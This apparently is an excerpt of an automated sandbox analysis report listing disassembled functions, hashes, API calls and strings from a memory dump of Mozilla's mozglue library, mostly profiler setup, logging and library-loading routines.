Opcode Fuzzy Hash: d682d19e5924562a5dcbd7e2fcfc4157076843be138af8d8e0eae06b9075be2c
Instruction Fuzzy Hash: 32C1C175E012998BCF04CF55C5906EEBFB2FF89318F284259D8556BB44D731A809CB98

Function 6CACDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377a13bd37345b1315a67ec30207acfe9668d3906f8637c83919b8b13fa57694
Instruction ID: 7b74e44881b3ec136042f31bffddf33dac0d495424798d4d18541e42ee76650c
Opcode Fuzzy Hash: 377a13bd37345b1315a67ec30207acfe9668d3906f8637c83919b8b13fa57694
Instruction Fuzzy Hash: B9429072B187508BD314CE3CC49175AB3E2BFC9364F198B2DE999A7790D734D9818B82

Function 6CB376E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 369a7b7c1959ea5c72ab50017eeec4bbce6cbffac31b0074dfa75a374dbb2606
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 05321871E00269CFCB14CF98C990A9DF7B2FF88304F64916AC949A7745D771A986CF90

Function 6CB36E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 968967b3d1966d8fbe556cd6de9887f0ebe8532052c1abbca01a609893f65a65
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5422E771E00269CFCB14CF98C980A9DF7B2FF88304F6591AAC949A7745D771A986CF90

Function 6CAF0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7c06752fc88156bc75943dbdcfed7c2d98f1e38b9a8f999220323fc59fc9b3e6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 0A222775E00619CFDB24CF98C890AADF7B2FF88304F588299D55AA7705D770A986CF90

Function 6CB3AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321adf2e033b74e9f6fb14e83f0efdb8a92997a3052a84b1768eb28425d67eb0
Instruction ID: 9c55dfda62fd8bb4ad3fcfff52f866fc2b46dc2d3ec126af5ca33c4a5bc7e868
Opcode Fuzzy Hash: 321adf2e033b74e9f6fb14e83f0efdb8a92997a3052a84b1768eb28425d67eb0
Instruction Fuzzy Hash: 80F148716087A54FDF00CE68C8907AEB7E6EFC5318F259A1DE4D897780E37498498B83

Function 6CACC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: f9b6e0f3eff541c3351f5f26b6fdfe833cbe8685c6a01cb04034cd6a8a2743d1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AFA1A071F0061A8BDB08CE69C8913AEB7F2EFC8358F188129D915E7781DB349C468BD1

Function 6CB07710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 300f0e36bc2abcb25fddb8445aa99a8d4ac759088e941eae6d1b1876888430ab
Instruction ID: 049001d49a5c107bb473eb6d9a355fb92c2bfc4fca19592e73acd700610670f6
Opcode Fuzzy Hash: 300f0e36bc2abcb25fddb8445aa99a8d4ac759088e941eae6d1b1876888430ab
Instruction Fuzzy Hash: 61715975E012598FCB08CFA9D8905ADBBB2FF89315F24812ED816BB780D771A945CB90

Function 6CB058E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 26178439503fad634de67c71eb0e9dd65838af640d904b01267b521f85fb7626
Instruction ID: c6acfb8481bdfb58008b4a34044f62cdce4961823fb61bc56964ff34522d9e02
Opcode Fuzzy Hash: 26178439503fad634de67c71eb0e9dd65838af640d904b01267b521f85fb7626
Instruction Fuzzy Hash: 14819075A011599FCB04CFA8D8809EEBBF2FF89314F544269D411ABB41D731A949CB94

Function 6CB0CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAD582D), ref: 6CB0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAD582D), ref: 6CB0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB3FE98,?,?,?,?,?,6CAD582D), ref: 6CB0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB0CE8A

Strings

seqstyle, xrefs: 6CB0CCE6
default, xrefs: 6CB0CC21
stackwalk, xrefs: 6CB0CCF8
nostacksampling, xrefs: 6CB0CD7C
samplingallthreads, xrefs: 6CB0CE2C
notimerresolutionchange, xrefs: 6CB0CE00
jsallocations, xrefs: 6CB0CD0E
noiostacks, xrefs: 6CB0CCBE
screenshots, xrefs: 6CB0CCD4
fileio, xrefs: 6CB0CC92
power, xrefs: 6CB0CE84
processcpu, xrefs: 6CB0CE6E
fileioall, xrefs: 6CB0CCA8
java, xrefs: 6CB0CC37
ipcmessages, xrefs: 6CB0CDBE
cpuallthreads, xrefs: 6CB0CE16
mainthreadio, xrefs: 6CB0CC7C
markersallthreads, xrefs: 6CB0CE42
unregisteredthreads, xrefs: 6CB0CE58
audiocallbacktracing, xrefs: 6CB0CDD4
Unrecognized feature "%s"., xrefs: 6CB0CEA0
preferencereads, xrefs: 6CB0CD92
leaf, xrefs: 6CB0CC66
nativeallocations, xrefs: 6CB0CDA8

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 4e67a30546c48a7c05812b81b25c2668d38ed888a85c273e7ef56f720273f159
Instruction ID: 351e88c49b1c69ca7d957ca59a22ba5d5028cc172a90150cdd24220e3f07c8df
Opcode Fuzzy Hash: 4e67a30546c48a7c05812b81b25c2668d38ed888a85c273e7ef56f720273f159
Instruction Fuzzy Hash: B951D9C2B452F522FF0035552D10BAF2C04EF6325AF105236ED0DA6E80FF14A609D5B7

Function 6CAD47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAD4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD482D
__Init_thread_footer.LIBCMT ref: 6CAD484A

Part of subcall function 6CAFAB3F: EnterCriticalSection.KERNEL32(6CB4E370,?,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB49
Part of subcall function 6CAFAB3F: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAD485F
GetCurrentThreadId.KERNEL32 ref: 6CAD487E
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD488B
free.MOZGLUE(?), ref: 6CAD493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD4956
free.MOZGLUE(00000000), ref: 6CAD4960
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD499A

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

free.MOZGLUE(?), ref: 6CAD49C6
free.MOZGLUE(?), ref: 6CAD49E9

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6CAD4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD4812
[I %d/%d] profiler_shutdown, xrefs: 6CAD4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD4828

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c5caafe09693342aebd46c1c1eadfa4794ed6f6edad35aaaa369cc39528ccf34
Instruction ID: 0f7dedbb94b10cb37747a22d962e93c20e0789b862524a4a89c9e8982c74fd6e
Opcode Fuzzy Hash: c5caafe09693342aebd46c1c1eadfa4794ed6f6edad35aaaa369cc39528ccf34
Instruction Fuzzy Hash: DF814770A081008FEB10EF69D88475E3775BF4232CF1A4665E91697B49E731F8D8CB96

Function 6CAD4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAD44B2,6CB4E21C,6CB4F7F8), ref: 6CAD473E
Part of subcall function 6CAD4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAD474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAD44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAD44D2
InitOnceExecuteOnce.KERNEL32(6CB4F80C,6CACF240,?,?), ref: 6CAD451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAD455C
LoadLibraryW.KERNEL32(?), ref: 6CAD4592
InitializeCriticalSection.KERNEL32(6CB4F770), ref: 6CAD45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAD45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAD45BB
InitOnceExecuteOnce.KERNEL32(6CB4F818,6CACF240,?,?), ref: 6CAD4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAD4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAD4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAD466D
VerSetConditionMask.NTDLL ref: 6CAD469F
VerSetConditionMask.NTDLL ref: 6CAD46AB
VerSetConditionMask.NTDLL ref: 6CAD46B2
VerSetConditionMask.NTDLL ref: 6CAD46B9
VerSetConditionMask.NTDLL ref: 6CAD46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAD46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAD46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAD46FD

Strings

WRusr.dll, xrefs: 6CAD44B5
kernel32.dll, xrefs: 6CAD44CD
NativeNtBlockSet_Write, xrefs: 6CAD46F7
l, xrefs: 6CAD4578
user32.dll, xrefs: 6CAD4557, 6CAD463F

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ef22db4590f22cb94a95d742569baee1e7659e3a877c602ebac6b78909d2a7db
Instruction ID: ca1f30e3cb02f40c2bc05c65d95414b3826a96dbf5f543749561a99ed58d6995
Opcode Fuzzy Hash: ef22db4590f22cb94a95d742569baee1e7659e3a877c602ebac6b78909d2a7db
Instruction Fuzzy Hash: D56106B064C384AFEB00AF64CC09BA97BB8FB4630CF09C558F5089B645D775A985CF61

Function 6CB0E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB07090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB0B9F1,?), ref: 6CB07107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB0DCF5), ref: 6CB0E92D
GetCurrentThreadId.KERNEL32 ref: 6CB0EA4F
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EA5C
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EA80
GetCurrentThreadId.KERNEL32 ref: 6CB0EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB0DCF5), ref: 6CB0EA92
GetCurrentThreadId.KERNEL32 ref: 6CB0EB11
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB0EB3C
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EB5B

Part of subcall function 6CB05710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB0EB71), ref: 6CB057AB

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB0EBAC

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0EBC1
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB0EBE5
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,00000000), ref: 6CB0EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0EC46
CloseHandle.KERNEL32(?), ref: 6CB0EC55
free.MOZGLUE(00000000), ref: 6CB0EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB0EA9B
[I %d/%d] profiler_start, xrefs: 6CB0EBB4

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: d01932630bea6ffab9d26c64773bfaaf6a4de3520414375284263c730e0d21c0
Instruction ID: 1ce8ea140ef5cd90463c172149264bbd684397060f4c1e12872b92764627c8d9
Opcode Fuzzy Hash: d01932630bea6ffab9d26c64773bfaaf6a4de3520414375284263c730e0d21c0
Instruction Fuzzy Hash: 9CA16C317086848FDB10AF28D844B6E7BB5FF8631CF14C529EA5987B49DF709849CBA1

Function 6CB0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB0F8F9

Part of subcall function 6CAD6390: GetCurrentThreadId.KERNEL32 ref: 6CAD63D0
Part of subcall function 6CAD6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAD63DF
Part of subcall function 6CAD6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAD640E

ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F93A
GetCurrentThreadId.KERNEL32 ref: 6CB0F98A
GetCurrentThreadId.KERNEL32 ref: 6CB0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F716

